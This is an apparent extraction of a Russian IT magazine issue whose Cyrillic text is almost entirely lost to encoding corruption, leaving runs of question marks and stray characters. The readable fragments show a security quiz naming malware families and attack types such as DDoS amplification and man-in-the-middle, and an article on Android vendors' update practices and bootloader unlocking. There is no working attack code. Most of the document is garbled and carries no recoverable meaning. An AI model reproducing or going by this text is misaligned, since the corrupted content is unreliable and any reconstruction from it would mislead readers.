197b706e1595cf81c533136a2990249700000000000000000000000000000000
?燨penSSL�??�?�??�?�??�????,�?�??�??�?????�?�???�??�????�???�
????�???�????�??�???.
????:燬tvgn6CFHKYd3BDE
??????????�?????�?�???
???�??� ??????,� ?� ?????,� ???� ???� ???�???� ????�??� ????�??,� ???�?� ???�????
?� ???�???????� ??� ????�?� ???.� ??� ??????�????� ???�?????,� ???� ???�???� ?????
???�???????�??�???�??�?,�??????�?????�???�???��??.�)�??�??��???�
????�?�??�???�??�???�?�(??????�?�??�??).
1.�??� ?????� ????�???� ???�?� ???�???�????�?� ?????�???� ???�?????� ????�
??????�???????�?????
1.�?�??�????�???�?
2.�?�????�???�???�?
3.�?�???�??�??�??????�???????�????��??�????�??�??�???�?
2.�??�????� ??� ????�?� ???�??� ????�?????�?,� ????� ??� ??� ???�??� ?� ???�?????�
???�??�????�??
1.�??
2.�??,�???�?�????�??�?�??�????�???�??�???
3.�?
3.�?�???�?� ???� ??� ??????�????�?????� ????�??,� ???????� ???�???� ??????
?�??????�??�??????�??????�??????
1.�?�??�???�??�????�???�?????
2.�?�??????�??�????�?????
3.�??�??????�??????��??�??�???�?????�??
4.�?�??� ??� ???????�?????� ???�????�??� ????�???� ????�????�???� ???� ????
??�?????????�????
1.燙hameleon
2.燰irus.Win9x.CIH
3.燙arberp
5.�?�??�??�???�?�?????????�???�??�????�?�????�??�??�??��??�???
????�????�?�??�?????�??????�???�??�????�?�??�??�???
1.燩hishing
2.燤an?in?the?Middle
3.燤an-in-the-Endpoint
6.��??�??�??�??�?�??�???�?�??�?��??�??�??
1.�?�???�????�??�???�?�??�?�??�???�?�??????�?
2.�??�??�?�???�????��??�??燤an-in-the-Middle
3.�???� ???�??� ??� ????�????� ?� brute?force� attack� ?� ???�??� ?????�??
?????�?????�??�??�?????�??�????�??�??
7.�?�??� ?????� DDOS????�?� ???�???�?� ??????�?� ???�??�????�?� ???�????
???�????
1.燯DP�ood
2.燞ttp爏low爌ost
3.燚ns燼mplification�??�?
8.�?�??�???????�???�?????�?�??�????
1.燙RC32
2.燤D5
3.燬HA?2
9.�?�??�???�????�????�??�?????�?????�???�?��??�??????�???�????
1.�?�???�??�??�??????
2.�?�???�????
3.�??�????�??�???
10.�?�???�?�??�??�???�??�???�???�???�?
1.�??�??燞TTPS�??�??????�??�????�?�??�???�?????????�????
2.燞TTPS�???�???�?????�??�?�???�????�燞TTP�??�???�??
3.燞TTPS��??�??�??????�??�???�?燞TTP,��??????�????-�
????�??�??????�?????�?????�?�???�???????�??????-�
???�??�???�?燞TTP�??�??
IT-????????, ????? ??? ???? ???????!
???�??�???�???????�???��???�???�???�??,�????�?�?�??�???�?�???�
????�?� ?????�???�??� ?????�?,� ???????� ???�?????� ???�????� ????�???�?
????�??????.� ??� ???�?� ?????�?� ??� lozovsky@glc.ru� ?� ??� ??� ???�???�?.
???????� ?????,� ??????�??,� ??????�??� ?� ????????�??.� ??????�??� ?� ?????�?,
??????�??� ?� ?????�?,� ???� ?� ???�???� ??� ?????� ???�????�????�??� ?????�
?????,� ????�????� ?� ?????�?� ????????�?� ??� ???�?????�?� ?� ???????� ??????�
????�??�??�???.
GEEK
??????
???????
???�????????????
??????????�??????�?
?�????????�????????????
?????????
?� ?????� ??� ???�???�??� ?????�??� ??� ????�
?????� ???�???�???� ???�???,� ??� ???????
????�??�?� Apple� ????� ?� ?????� ???�???
????�??�??� ????�????� ??� Android.� ??????
???�???�??�??�??????�??��???�??????�
???� ????�??.� ?� ???�?� ?� ????� ??� ??????
???�???� ?� ????�???� ????,� ???�??�??� ?� ???
???�??,� ???????� ????� ?� ??????� ???�????,
?� ????�???,� ???�???� ???�???�???�?
?????�??????�??�??.
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
???????�?????��??????
?�???�?????�?????�?�????��????��??????�???�??�???燗ndroid��????�
???� ???�???,� ???�????�?� ??� AOSP� ?� ???�????� Google,� ???????� ????�??�????�
????� ?� ????�??�?� ????�?� Android� One,� Google� Pixel� ?� ????�??�?� ??????�??
???�???�???�??� (???�????,� Motorola� ?� Nokia).� ?????� Android� ??� ???????
�??????�� ???�??�?� ????� ???� ???�??�????� ???� ???,� ??� ????�?� ???� ??� ???
????�???�????.� ?� ????�????� ?� ?????�???� ???�???�???�??� ????�??�??
�??????粻 Android� ????� ????�?� ????�?� ????�???�????� ?� ?� ????�??� ?????�
????????� ?????� ???????�?� ?????????�?� ?� ??� ????�??� ????,� ?� ???� ???�????�
????�??,�??????�??�???牜???�??燗ndroid粻???�?�??�????�????�??�??.
?????��??�??�?�?????�??��??,�??�??�???�???�?��?�????燞TC,
LG,� Samsung� ?� ???�??� ?� ????�???� ????�???� ???�???� ?� ???� ??� ???�?� ???????�
????.
?????????:�?????�????????�?-????????
???�??,�??�??�????�??�??�???�????�?????�?????�???�???�???,�????
???�???�??�??� ???�????,� ???????�????.� ???�????�???� ???�???�???�?
?????�?:� ??� iPhone� ?� iPad� ?� ???????� ????� ???�????� ??� ???�?� ???????� ????�
??????�???�????�??�??�??�???�?.�???�??�?�?燱indows�燤obile�????�
??� ?????� ??� ???�??�??� ???????� ??????�??� Windows.� Google� ???�?????�?
?????� ?????�?,� ??????� ???????� ???�?????�??� ???�????,� ???????� ???� ?
????�???�?�??�??�??�??�??燗ndroid.
???� ???�??�???� ???�????� ????� ???�???�???�???� ???� ??� ???�???�?� ????�
????�??�???.
�???????!粻 ?� ???�??� ??????�?� LG� ???� ????�????.� �????????!粻 ?
???�???�?�??��??�????�???�??燞TC�???�????�?????�??燘oom燬ound.
?????� ???�???�?????,� ??� ????�????� ????�??� ???�?� ????�?� ????�??�?,
????�????�??� ?????� ???�??� ????�?????,� ????�?????� ???�?????� ????�????�
????�?��???�?????.��???��????�???燣enovo,�??�???�???�?�??�???�
?????�???� Motorola,� ???� ????�????� ???�?� ?????� ?????�???,� ??� ????�???� LG
???� HTC,� ?????�???�???�?� ???????�????�??�?� ???�???� ????,� ???�????�?
???�????�?�???�????�???�??????�??�???�??�???�?.
???????????
?燗ndroid�??????�??�????�??��???�????�????�????�??�??�???�??�???�
?????,� ??� ??????� ???�??�??????� ?????�????� ???�??�????� ?� iOS.� ????????
??,� ???� ?????� ???�?� ????�????� ???,� ???�?????� ???�???�???�?� ???� ???�???
??????.�??�??�????�???�????�?????�?�??�???????�??�?????.
???�??�燞TC.�?�???????�??�???�???�?????�?�??�???�?�???�?�???�
???,�??�??�??�?????�??燞TC燬ense��??�??�?�??�??燗ndroid,�???�??�?
????�?????� ?� ???�??� ???�??.� ????�???,� ???????� ????�?????�?,� ??� �????�
????粻Android�??�???�?????�?�??????�?.�??�??�??�???�???�?????�?
HTC��??�??�???�??.
�?????� ???�?� ???????�??� ???�???�?� ??????� ???�????� ???�??�????� ????�
??????� ??� ???�???�??,� ????� ??� ????�????� ???�?� ???� ???�?� ?� ??� ?????�?� ???
???�???�?�?????�?�,��???�???�???�???????.�????�??�???�??�????�??
???�???�??,� ????� ????????� ?� ???� ?????�???� ????� ???� ???�??� ????�??�?????
?� ???�?????� ????�????,� ?� ???�?� ???� ??????�??� ???�?????�??� ???�??� ?????�
?????.� ??????�??� ?� �????�?,� ??� ??� ????�?� ?� ????�????� ???�?� ??� ????�?
???�?�???,�?�?�??�???�.
????�??�?�??�??�????�??.
???� ??� ?????� ??????� ?????� ????�??� ???�???�?� ???�??� ???�??�????
??�?????�??�?�?�???�???�??�??�?燗ndroid.�???????�?,�??�????�????
???�?�?�???�??�??�??�???�??�??�????�?�??�?????�????��??�?????�
????� ????�??� ???????� ?????�???�?� ???� ????�???,� ??� ??� ?????� ??????,� ????�
????�??�??�??�???�?�??�??�???�?�??�??�??????�??�???�?.
????�?,�?�??�????�???燞TC�??�?�??�?,�??�???�??�?.�??�??��???�
???�????,� ??� ???� ???�??� ?� �???�???粻 Android,� ???????� ????� ????�???�??
???�??� ????�???�?� ???�???�???� ???????�??� ???�??�???�??.� ??????� ???
(???!)� ????� ???�???�??,� ?????�?� ??� ??� ??� ????� ????�??�???� ??� ????�??�?,
???�???�?????�?�??�???�??�????�??�??�????,�??????�?�??�??��???�
????�??,� ?� ???�??�???�???� ??????� ???�?� ????,� ???� ??????�?� ??� ?????�???
????.
?� ????� ?� ????�??�???� Android� ????� ??� ???�??�????,� ???� ???????� ?????� ????�
?????� ????,� ???�???�?� ???�?????� ???�??�????,� ??� ???�????�???� HTC
??????�??�?:�??�??�???�??�??�????�????�??�???�???�?�???????�???,
?????�?�??�??�??��??,�??�???�??�???��??�???�??.��???�???�??�???
???�?� ???�???�???� ????� ????� ????�???� ??� ????� ?� ???�???�??� HTC� ?� ??????�
????�???�??�??�???�?�??.�???�????�????�??�???�???�?�?????�??�?
?�??�???�?�??�??�????��????�???�??�???,�??�?�???�????�????�????�
???�??�???�??�??�???.
??�???� ?????� ??????� ???�??� ??????� ???????�??� ?????� ??� ????�?� ??????,
???�?�???�???�??燞TC燯11��???�???�?�?????�?�????,�???�??�???�???
???�????� ???�??�????� ???� ????� ???�???�??,� ?� ?� ???� ???�?� ???�?� ??� ????�
????� ???????� ????�?� ?????!� ???�???� ???�?,� ???� �???�????粻 ?� ???� ????�
?????�??�??�???,�??�?�???�???�?�?�????�?????�???�???.
???�???,� ???� ???� ?� ???� ?????�??� ?� ???????� ???�???� ?????� ???�?????.
Android� 8.0� ?� ???�??� ????�???�?� ???�??� ??� HTC� U11� ?� ?????�?� 2017???.
??????,� ???�???,� ?????� ???????�??� ???,� ???� ???� ?� ????�???� ??????�??,
?????�?�???�?�????�???�???�??��??�?�??�????�???.
????�?,� ???????� HTC,� ??� ????� ??� ????�?????�?� ??� ???�??�?� LG,� ?� ???????
????�?� ????�?� ???�???� �??�???�??粻 ???� ???� ???�??�????!� ????� ?????
?� ???,� ???� ???????� ?????� ??� ???�?????�?� ???�???�??� ????�??� ??????�?,
??�?????�?�?????�???�?????�??燣G.
??�???�???�??�????�?�????�???�?,�??�????�???�牜???�??粻???�??.��??
????�?????��???�????�????�?,�??????�????�????�????�???�?�??�???�
??,���??�?�??�?:�??????�??�??�?�???�?�??�??�???????�?:牜???!�
???????�?!�
?�?????�??�??�?�????�?:�???�??,�??�????�???�??!�??�??�??????�
???� ???????� ????�?????�??� (??� ??� ?????�????� UI� ??)� ??� LG,� ????�???
??�????�??�??燗ndroid��??�??.�0,�1,�0,�0��??�?�???��?�?�???�
????.�????�?,�??�???�???�???!
??????�??營PHONE,�?????�?????!
?燞TC�??�??�????�?????�?��??�????�???�?�??,�??�??�??�?�????�?
???�????�????燗ndroid.��??�?????�??�??�??�??�???�???�?�????牜??????
???�???�,�??�??�???�??�???�?????燗ndroid��???�??�??�???,牜???��????�
???�.� ??????�????� ??????�???� ?????� ???�?.� ???�??�?� ???� ?� ?????�???� ????�
??????�?�??????�??��????�???�???�??�????��????�??�??.
???�??�??�??�????�燞uawei�(????�?�牜???�??粻Android):
?�??�????�??�??�??�???�??????�??�???燣eEco:
?� ???� ???� ????�???�???� ????� ???�??�??� ?????????� Android� 6.0� ?� LG.� ?????
????�??� ????�?� ??????�??,� ?????� ????�??� ????�?� ?????�?????�??� ????�?,
???????� ???�??�?� ??� ????�?� ?� ???�??,� ?� ???� ???� ????� ????�?????� ????�???�
????� ?????�?????�?� ????�???� ?????�?????�?� ????�???� ???� ??????
???????�???�??�???�????.
???� ???�?� ?????� ????????�??� ???� ?� ???� ????�??????????�?,� ?????�??
????????�?� ????� ????� ???� ???????� ?� ???�??� ???�?� (�� ???�??� ??� ???�??粻 ?
??� ?� ???� ???�??� ???�?� ?� ??????�?� ?????� ???�???� ?� ????� ????�???,� ????� ??
??�??�???????��???�??),�??�??��???�?�???�???????�???�???�??�???
??????�???� ???�?� ????�??� ???� ????�????�??� ??????�??�??� ?????�??� An?
droid��??�??�??�????�?????�??�???�??�??�?????�???�?????�??.
???� ????� ??????,� ???????� ?????� ???�???�???�??� ????�???� ???�???� ???,
???�??�???�爄OS,��??????�??�???????�???�?.��??�??�??�???燗ndroid
???�???�????�???�???�??�???�??????�??�???????�??�????�??�??�???�?
??� ???????� ???�????,� ?� ???�??� ??????�??�?� ???????� ????�?� ??� ????�???
????�????.�??�????�?:�??�????�?�???�??�??�?????�??�????��???�??
??????�??,���??�??�?�?????�??�????.
???,� ??� ???� ???�???�???�??� �???�???粻 ???� ??????,� ???�???�??� ???�????
???????��???�???�?�??�????��???�?�??�???�?�???�?.�??,�??�????,
???�???�??�????�???燨nePlus�(???�???�????�??,�?�??�??�?燨xygenOS�
???� ???� ???�??� Android,� ????�?� ???�?).� ?� ??????�???,� ????� ???�?????� ?????�
????�??�???�?�??????�?�????�????,�??�????�??�????�?�??�???�?�???�
????�????????.�?,�??�???�?�??�???�???�???�??????�??�???????�爄OS,
??�??�???�?�???�????�??�??�????.
??�???� ?� OnePlus� ???�?????� ???????,� ????�?� ??� ???�?????� ?� ???� ????
???�??� �???�????�.� ?� ???�????� ??????� ????????� ????�??�??� ??????�
????????� ???????� ???�??�????,� ???�??� ???� �??� ?� iPhone,� ????�?� ???�?�.
????�?????�????�????�???????�燨nePlus���??�???�?�???�?��??�??
?????�?????�?� ???�?� ???�???�?� ?� ???�???�???� ??????�?� ???�??�????.
????????� ??,� ????�?!� ???,� ???�??� ???:� ?????�???� ????�?????�?� ??� ??????
???�???� ??????� ?????�??????� ???????� ???�??�????� Android� ?� ???�?????
??????�?�?�??�??�?�????�????�??�???,�??�???�???�??�??�???�????
??????� �?� ???�???�??粻 ??� ???�??????� ?� ??� ??????�?� (???�????,� ??� ????�
???� ?????�??� ?� ?????�???).� ????�?????�?� ????�???�???� ???????�???� ?????
?�?�??�??�????�??�??�???,�??�?�???�????�???�??�???,��???�??�?
?????�??� ???�??�??.� ??????� ???�?????� ?????� ??� ?????� ?????�???� ????�
????!� ?????� ?????�?????� ?� ????� ???�?????� ???�??�??� ????� ?????� ????�
??????� SMS?� ??� ????� ??????� ?????�??� ????�?????�??� ??� ?????,� ????�?
?�??�?????�??�?�??????�??????�????�??�???.
???????????
??� ???� ?� ???�?� ????�??�?� Pixel� ?� ???� ???� ??� ???�??�??,� ????�?� ????????�
?????????�???�??�???�???�??.�??�??�??�??�??�?????�??燩ixel�??????�
??????�??�??�???��??????�???�??�?????��??�???�???????�??�?????
??� ????�?????� 2016� ????� ???????� eMMC� (??????�??� ????�???� ??????�?
??�????�??�???燯FS�0),�???�??�?�?燝oogle�?????�?�??�??�?�???�?,
???� ??� ???�?.� ???� ?????� ?� ?????�??????� ???�????,� ???� ?????�??�??� ??????�
?????,�??�???�??�??????�????�?�??�?�???,�??�???�???牜???�???�???�
??�??�?????�??�???�?�??.�??�???�??�????�???�?��???�??�?????�???�
??????� ?� ??????�?� ????�??�????� ????�?.� ???�??� ??????,� ????�?� ???�????
?� ????�????� ??????� Pixel� ?� ??,� ????� ???�?� ?????�?� ??� ???�???� ??� ???�?????
???�???爄OS.
????�????燩ixel�??�???�?????�??��???�?????�????燞TC燯燯ltra�(Snap?
dragon�1,燯FS�0)�????�????�?�???????,�??�???�???�?燞TC:�)�?????�
????�???� ??� ????�??�??� ???????� ?� ?)� ???�????�???�?� ?� ???�?????�?,
????????�??�????,�??�??�??�??�?????�?�?�??�?????�??.�??�???�??
??� ???�?????� ???�???�?� ???,� ???�??� ???�???�?� ??????� U� Ultra� ???????�??,
???� ???�??� ??????�?� (??????� ??� ????,� ???� ????�?� ???�??�????� ?????�???�?
???�???,� ??� ?� ??� ???�?� ?????�??� ?????�??).� ???� ???� ?� ????�???� Android?
???:� ??� Pixel,� ??????�???� ??� ???????� ??????,� ??????� ?????�???� ??� ????�
????�???.�???�?�??�??,�????�??�??�???�???�??.
??�??�??�??�????��???�??�??�?�??�?.燣G燝燜lex��????�??,�???�
???� ?????�??� ?� ???�?????� ????�??,� ???�?� ??????�???� ?????� ??????�?� ??????
???�???� ?� ???�????�??� ????�??,� ????�??� ???�??.� ??� ????�??� ??????� ?????
???????�?????� wakelock???� ????,� ???�???�??� ?� ???�???�???� ??????�??
????�??�?� ?� ????�??,� ???�?� ??????� ?????� ???�???� ????�???�?� ?� ??????
??????� ?????�????� ????� ?� ???????�????,� ???????� ????�?� ??????�????
??�??�???�???�?�??�??�?????�??�??�?.
???????????�?????��????????
???� ????� ???�????�?,� ????� ????� ???????� ????�????�?� ?� �??�??粻 ???�?� ????�
???�???� ???????�???� ????�???� ???�????�?� ???�??� ???� ????�???�??� ????�
????�???�??,� ??,� ???,� ?????�???????.� ????�??,� ????� ???� ???�?????�?
??????�??�??????�??�???�?????�??��???�??�?�?�??�???��???�????�
??�???�?�?????�??�??�???�???�?�?�?�??�????.��??�???�??�??????�
????�??�?�?????�??�??�????�?????�?�??�???�???�?��??�??�?�????
??????.
????�?� ?????� �???�????粻 ????�?� ?� Android� ????????�????�???� OnePlus.
?� ???????� Android� 8� ??????� ???�?� ??� ???,� ?� ????�??�?� ???� ????�?????�?
??????�??燨nePlus��??�??�???�??�???�??�????�???,�???�????�??�???�
???,�??�??,��????��?????�??????�??�(??�????�???��?????�??�???�?
??????),� ??????�?� ????�?� ???�?????�?� ???�??:� ??????�?� ??� ???�???????.
?????�??�??��??�???�???�??�??�??�????�?�???????�????�???�????
??????�?��??�?�?�??�????�?�??????�??.
??????????? ??????
?
? �?????�?????
GEEK
?????? ???????
???�????????????�?????????
???????�?��????????
?????????????�????????
????????�????????
?�????�??�???�????�燗ndroid�??�?�?????�??�?�?????�?,�?�???�?�?
???????� ???�???�??????� ????� ??????�??� ????�???� ???�????�?� ???�????�
??????� ???�???� (?� ???�???,� Qualcomm),� ?� ??????�??� ?� ???�????,� ?� ??????
????�??�???� ?� ?� ???�?� ???�??�??� ???�????????�???�???�?.� ???�?????�?,
???�??牜????�??�????�?粻????�?�?????�??�???�??,�???:��?????�?�??
????�??� ???� ???�???� ??� ??� ???�????� OnePlus,� ????�?????�?� ???????
?????�???� ???�????�??� ????�?,� ??� ????� ???�??�?????� ???�??????� ????�??
???�??� Android.� ???�????� ????�???�?� �?????�???�??粻 ??????� ??????,
??� ???�???� ??????�?� ???�???�??�?� ???�???� ???????� ??????�??�?.� ????�
??????�?� ???�???� ????�???� ?� ????�?????�?� OnePlus� 5� ???� ?????�??� 獵learer
photos�.�???????�?,�??�????�??�?�?�???
??�??�??�?????�?�??�??�????�????:
???� ????� ??????� ????� ?� ????????� ???� ???�?????,� ?� OnePlus� ??????�???,
???????�燬ONY�?????��???�?????,�?�????�?�???�?????�???�?????
???�????�?��?????�????�??�??�??�??�??.��?????�???�???�???燬ONY
??� ???�???�?� ???????� ???�?� ??????�??�?,� ???????� ?� ???�????� ??� ????�??
???� ???�??� ?????.� ???�??�?,� ?????� ????�?� ?????�????� ????� ??� ???�???
???� 玞learer� photos�,� ?� ????�?????�??� OnePlus� ????� ???�????�?� ??????
?????�???????�???�???.�??�??�??????��??�???�?,�???�??�??�??????�
???� ???�???�?� ??????�??�????,� ????�?� ?� �??????粻 ???????� ?????� ??????�
????��??�??�??�?????�?�???�?.�???�???�?????!
??�????,�??�??�??�??�???�?????�????�???:��??�?�??????,��???
??� ????�?????� ?� ???�?� ?� ????� ??� ????�?????� ???�???� ????�?� ???�????
?????�???�??�??�??????,燨nePlus�.�??�?????�?�?�?�???�?�??�?�???�
???��???�??�?????�???�?????�???�????�??�???,�???��??�????!
??????�????????�燗NDROID�???????�????????�????
??????????
?�????�??�???�????�?�??�??�??�???.�???�?�???�???�????�????�???�
?????�??�??�?????�?????�???.�??�??�?�???�??�??�????�?�????�?�???�
??,� ???�?� ???�???�?????� ????�?� ??????�???� ?� ???????�?� ???�??� Android,
????????�??�???�????�??�?????�??�???�???.
???� ???� ???�?????� ??????� ??� Android� 8� ?� ???� Project� Treble� ???�??� ?????
???�??� Android� ????�???� ???� ????�????� ?� API,� ???�?????� ???�???�???�??
???�????� ?????�???� ?????� ???�??� ????�????� ???� ????�??� ???????�??� ????�
????.� ??????� ????�????� ??� ???�??�??,� ?� ???�???�???�??� ???�???�???� ????�
????�?�???????�??�??��??�?�??�?,�??��??�??�??�????�???�??�????�
??� ???� ?????�?� ???�?????.� ??� ???,� ????� ???�???�?????� ??� ?????� ????�?????
?????� ????�???,� ?� ?????????� ???�???� ???�????�??� ?� ?????� ???�???� ???�?
???�???�?��???�??�???�???�??�?,�???�??�?????�????�?????燗PI��??
???�??� API,� ???????� ???�????�???� ???�??� ????�???.� ????�?� ??????,� ???
??????�??�?????�??�????�??�??�???�???�???�???��??�???�?????�????,
?�??�????�????�??�???,�??�?�?�???�??�???��????�??�?????�??�???�
???�??�??燗ndroid.�??�?�????�???�??�??�???�?�?????�??�??�?�???�
?????�????� ???�?????� ???�????� ?� ????� ??� ??????,� ???� ???�??� ????�????
?????� ????�?� ??� ????� (????�????�??� ???�??� ??� ?????�??� ?� ??????� ????�
??????� ???�????� ?� Android� 7,� 8� ?� 8.1� ???� ????�??�??� LeEco,� ???????
??�?????�?�??????�??�??????�??�??燗ndroid�0��????�?�?????).
?�?????�??,�?????�??�??�???�???�?�?????�???�??�?�??�?�??�??.
????�??�?燨nePlus���???�?????�?�燗ndroid�?�??�?.�??????�??
??� Android� 8� ??????�?????� ???�??� ????�???� ?� ????�??�???� ????�????
(shim).
?????�?,�???�??��??�??�??�??�??,�?�??���??�?????�??�?????�
????� ???�?????� ?� ????� ?� ???�?,� ???� ???�?� ???� ??� ?????� ????�???� ????�???�
???� ???�???�?????� ????�??�??� ??� Android� ?� ???�????� Samsung,� ??� ???
?�?�??�??????�??�????,��??�???�???�??�??�????燛xynos?
INFO
??�?� ????� ????�?????�???� ???�???� �???�????�
???� ???�????� ?????� API,� ???????�???� ??????
Cameras� in� Custom� ROMs:� How� Developers� Make
Hardware燱ork爓ithout燬ource燙ode.
SAMSUNG��?????????
???�?????��?????:燬amsung,燛xynos燼nd燗OSP燛xplained:燗燬tory爋f燘etrayal.
?� ????� ??????� ???�????�???� ?????� ???�????� ?� ??????�?� ???�???�?,
???� ????�?� ?� Samsung� ???,� ???� ???�?� ???�???� ???�?????�?,� ???�???� ????�
??????�?.� ?� ???�???�?,� Samsung� ???�?� ??????�???� ????�??�???� ????�??�?
???� ????�??�??� API� ???� ???????�??� ???�??� Android.� ???�?� ???�????�?????
???????�??� ????�????� ?????�???�???,� ????�??�???� ????�????� ???�????�?
???�??�?,��??�???�?????�????��??�???.�???�?�????�??�????�?????
????�???� ???�??�?� ??� Samsung� ??� ???�????� ??????�?� ????????� ??� ???� ???
???�?�???�?�??�??�??�?????�????.�??�??�???�??�??�?�?�?????,�??
Samsung� ??� ??????� ???�????�?� ??????�???�?� ?????�????� ????�?� ???�?� ???
??�??�?.
????????�???�燬AMSUNG
??� ????�???� ????�????� ?� ????�??�?????� UI,� ??????�???� ????�???�??� ?� ????�
???� ?????�??� ????�????.� ???� ???� ???�?� ?????????� Android?� ???�???�???,
???�?.�??�????�?�???�?�???燬amsung.
??�?� ???�??� ???�???�???�?� ????�?� ????� ?� ????�???� ??� ???�????�?
??????�??��????,�?�???�?????�??燬amsung�????�?�????�?.�?�?????
??????�???�??�??�?,�???�???????�????�?�??�????�?????��??�???????
??�??�??�???,�??�????�?????�?�??�??�????燙PU�??�??�????.
??�??�??,� ??� ???�??� ????�??:� ??� ?????�?,� ?� Samsung� ???� ??????,� ????
?????�?????�????�????!�??�??�?�??,�?�??�???�???�?????�??�燬am?
sung�?�??�?�???�??????�??????.�????�??�???�??��???�???�??�???�
?????�??�??�????,�?燭izen,��??????�?????�??�???�?�??�?????:
???�????,� ???� ???�??� ???� ??� ???,� ???� ???� ????????� ??????.� ???
????�?,� ???????� ???�?� ????� ?????�???,� ????� ??????�?.� ???�??�?,
???� ???� ?????� ???� ???�????� ??????,� ???� ??????� ??� ??????�?
?� ???????�????.� ???� ???� ???�?,� ???� ???�?????� ?????�???� ????????
???�??�???�??�???�???�??????.�
??�?????
??�??�?�?,�燬amsung�?�??�?�?�???�??�?????�?�????�???�????.�??�?
????� ???� ??????�???� ?????�???�??� ????� ????�?????�?� ??� Motherboard,� ????�
?????燬amsung�?????�?????�??�?????�???�??.�?????�??�??�??�???:�??
Tizen� ????�?� ??� �??�??� ?� ????�??�.� ??????� ???� ????�?� ????,� ??� ??
?????????.
??,� ??� ???� ???� ?????� Tizen,� ????� ??????????� ??� ??� Android?� ?� ???�????�
????�?,�?�????�?燬amsung,�??????�?????�?�??�?????�???燝oogle,�????�
??�??????�????�?.�???�???�?��??,�??燬amsung�???�??�?�??�??????�
??� ??????�???,� ??????�???� ??� ??� Google,� ???????� ???,� ???� ???�?,� ?????�
?????�?�???�???�???�???�??�????,�?????�??�??�???�??�???�??�?,�??
?� ???????.� ??????�???� ????,� ???�????�???�??,� ???�???�??� ?� ?????�??????�
????�??� ????�??�?????�????�??� ???????� ?� ????????�?� ?� ???�????�?????
????.
?�??�???�??????�??????�??�?��??????�???�??�??�???�???�?燗n?
droid,� ?� ???�?� ???????�?.� ??????� ????� �??�????粻 ?� �??�????�� ?????� ???
???�??�??�??�??�?????�???牜????粻?牜????��??�???�??�??�????�???�
?????� ??� ???�????� ???�?????� ????� ???�???�???�?� ?????�???� ????�???
???�???�??�???�???�??�??�????�?,�??�???�???�???????�??�??�?????�
?????� Android.� ??� ??� Samsung,� ????�?� ?????�?????� ????�???�??� ????????�
????� (??????� ??� ???,� ???�?� ??????�???� ????�???� ?� ????�???�??� ???�??
???� ???�??�???�?????� ??????� ?� ????�??� Google?),� ????�???�??� ???�????
???�??��??�?�??�??�??�??�???�???�??�??�????�?.
?� ???�???�??� ????�?� Bixby,� ???�??�??� ???????� ???????� ????�???�?
????????�??�????�???�??�???�?�??�?,�?�??�??�?�??�?�??�???�??�???�
???燘ixby,��??�??�?��??�???��???�?????�??�??�??�????�??�???�???
??燬amsung,��??????��??�??�??�????.
??�???�?�???�?�??�???�???�????�?燬amsung��??????�??????�????.
?� ?????� ???�??� ????�??�?,� ???�?????�????�??� Google,� ???� ???�???�
????�????�??�????�?�??�?�??�???�??�?????燨EM燯nlocking��??�???�??,
?????�????�?????�?�爁astboot,�??�??�???�???�??�?????�????�??爁astboot
oem爑nlock�??�????�??���??�?�?�?????�?�???�??�??.�???�??????
???�??� ???� ???�??�???�????� ???�????�?� ?� ???�??�??� ???�???� ????????�
?????,� ???�???�???� ????????� ???�??� ??� ?????�??�??�????�???� ???�???
?????�??�??�??�?????�?????�?.
?燬amsung�(??�???�??�???,��?????燝alaxy燬8)�??�??�???�????�???�
?????�?�???�???�??:�??�?????燨EM燯nlocking��??�???�??�?��??.�???�
??� ???�?????�?� ?� ???�?????� ??????�?,� ???�???� ???,� ?????�???� ???�??.
???????�???��??????�????,�???????�??�??�??�?�??�????�?,��??�??
????�???� ??� ???� ???�?� ??� ??????�?� ???�?????� ???� ???� ???�?????� ???�??�?,
?� ?????� ????�??� ????�?????�?,� ???�??� ???????� ?????� ????� ???�????� ???�?
?�?????�?????�?�??�??�???�??�???�??�????�?.
??�?�??�?�??�?�??????�????�?�?�??�??�?�??�????�???�??燗ndroid
??燬amsung牜???�???�??粻?�??�?????�???????.
??????????
??�????� ???�???�????� ???�???� ???????�???� ???�??,� ???�?� ?� ??� ????�
???????.燗pple爄OS�??�??�?�??�???�?�??�????��???�????�??????�??,
??�???��??�??�??�???�???�?,�??????�???�????�??????�?�???�??????�
????.�??�?????�??�?????�?�??�??�????�(??�?????):
???�?????,燗pple�燤icrosoft�??????�?�???�?????�???��??????�??�????�
????� ???�?,� ???????�?� ?� ???�???�??�?.� ?????� ????,� Microsoft� ???�??�???
?????????� ????�??�?� ??� Windows� 10� Mobile� ?� ????� ??,� ???????� ????
??????�?� ???�??�???� ???�???�???�???!� ?� ???�????� ??� ?????� ??� ???�????
????�????.� ?????� ??????�?� ???�??�?� ???�????,� ????� ?????�?????� ?????�
????�??� ???�???�???�??� ????�??�??� ??� Android� ???????�?� ????� ??????
??� ????�???:� �????� ??????� ???�?????�?� ?� ?????,� ???�????� ?� ????�??.
???��???�??????�.
???,��??�???,燞TC.�?�????�??????�?????�???燞TC燯燯ltra�(Snapdrag?
on� 821)� ???� ???�?� ???� ??????�?� ??� ???� ???� ??� ???�??� Android� 7.0,� ?� ???????
???� ???�?� ?� ???�???.� ???????�??� ??� ???�???�??�??� ???�??� Android� ?� HTC
??� ???�??�????�?.� ???�?????� ????� ???????�????� ???� U� Ultra� ???� ?� ????�?,
?� ???�????� Android� 8.0� (????�?� ???�???� ???�?� ??????� ????� ???�??� ??)� ??
??????�???,�?�??�?�???�???�???�????�??�??�??�??�??.
? ??�????�??�?燗ndroid�0�??�?????�?�???�???�(U11):��???
? ??�????�??�?燗ndroid�0�??�??�???�???�???�???�(HTC�):�0�???
? ??�????�??� ??� ???????�???:� ???�?� (????�?� ???�??� ??????�??,� ???????
???????�??????�??)
? ??�???�??:�??�?
???�???�?�??�?�????�?�???�燨nePlus:
? ??�????�??�?燗ndroid�0�??�?????�?�???�???�(5/5T):�7�???
? ??�????�??�?燗ndroid�0�??�??�???�???�???�???�(3/3T):��???
? ??�????�??�?�??????�???:�???�?�(?????,�????�??�???????�??)
? ??�???�??:�??�???�???�??
Motorola� ???�????� ????�?� ?????� ???�??� ???�????,� ???????� ??� ????�?� ????�
?????�???� ????� ??????�???� ?� ???????� ???�???�???� ???�???,� ??� ?� ???�??� ??
???????�?� ??� ????�??�??� ???�??� Android� ???�???�?� ??????�??????� ???�??
???�??�??�???.
? ??�????�??� ??� Android� 8.0� ???� ??????�?� ????�???� (Moto� Z2� Force):
124�??
? ??�????�??� ??� Android� 8.0� ???� ???�???�???� ????�???� (Moto� Z):� ??� ???
???�???�???�?�0�???
